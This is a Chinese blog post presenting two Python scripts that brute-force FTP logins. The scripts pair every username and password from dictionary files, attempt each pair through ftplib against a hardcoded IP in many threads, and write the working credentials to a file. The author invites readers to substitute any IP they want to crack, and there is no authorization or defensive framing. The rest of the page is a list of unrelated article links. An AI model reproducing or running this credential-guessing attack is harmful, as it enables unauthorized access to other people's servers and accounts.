python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
浅谈Python爬取网页的编码处理
Nov 04 Python
Python实现KNN邻近算法
Jan 28 Python
python写入并获取剪切板内容的实例
May 31 Python
用python标准库difflib比较两份文件的异同详解
Nov 16 Python
我就是这样学习Python中的列表
Jun 02 Python
python循环定时中断执行某一段程序的实例
Jun 29 Python
如何通过python的fabric包完成代码上传部署
Jul 29 Python
python笔记_将循环内容在一行输出的方法
Aug 08 Python
python用WxPython库实现无边框窗体和透明窗体实现方法详解
Feb 21 Python
Anaconda+Pycharm环境下的PyTorch配置方法
Mar 13 Python
python下载的库包存放路径
Jul 27 Python
使用Python爬虫爬取小红书完完整整的全过程
Jan 19 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
php中常用编辑器推荐
2007/01/02 PHP
PHP上传文件时自动分配路径的方法
2015/01/09 PHP
PHP错误机制知识汇总
2016/03/24 PHP
PHP编程获取图片的主色调的方法【基于Imagick扩展】
2017/08/02 PHP
Phpstorm+Xdebug断点调试PHP的方法
2018/05/14 PHP
thinkPHP5框架实现基于ajax的分页功能示例
2018/06/12 PHP
Laravel 错误提示本地化的实现
2019/10/22 PHP
[推荐]javascript 面向对象技术基础教程
2009/03/03 Javascript
Javascript事件热键兼容ie|firefox
2010/12/30 Javascript
JS target与currentTarget区别说明
2011/08/28 Javascript
js面向对象设计用{}好还是function(){}好(构造函数)
2011/10/23 Javascript
JavaScript+html5 canvas实现本地截图教程
2020/04/16 Javascript
懒加载实现的分页&&网站footer自适应
2016/12/21 Javascript
javascript实现用户点击数量统计
2016/12/25 Javascript
js从输入框读取内容,比较两个数字的大小方法
2017/03/13 Javascript
js实现文字列表无缝滚动效果
2017/06/23 Javascript
vue+Vue Router多级侧导航切换路由(页面)的实现代码
2018/12/20 Javascript
详解Js里的for…in和for…of的用法
2019/03/28 Javascript
ES6基础之数组和对象的拓展实例详解
2019/08/22 Javascript
jquery实现图片放大镜效果
2020/12/23 jQuery
Python基于有道实现英汉字典功能
2015/07/25 Python
python绘制铅球的运行轨迹代码分享
2017/11/14 Python
python实现excel读写数据
2021/03/02 Python
在python下读取并展示raw格式的图片实例
2019/01/24 Python
Python实现的矩阵转置与矩阵相乘运算示例
2019/03/26 Python
Python supervisor强大的进程管理工具的使用
2019/04/24 Python
Django 对IP访问频率进行限制的例子
2019/08/30 Python
Python3和PyCharm安装与环境配置【图文教程】
2020/02/14 Python
美国保健品专家:Life Extension
2018/05/04 全球购物
读书活动实施方案
2014/03/10 职场文书
安全责任书范文
2014/03/12 职场文书
航海技术专业毕业生求职信
2014/04/06 职场文书
关于学习的演讲稿
2014/05/10 职场文书
nginx对http请求处理的各个阶段详析
2021/03/31 Servers
解读MySQL的客户端和服务端协议
2021/05/10 MySQL
mysql的单列多值存储实例详解
2022/04/05 MySQL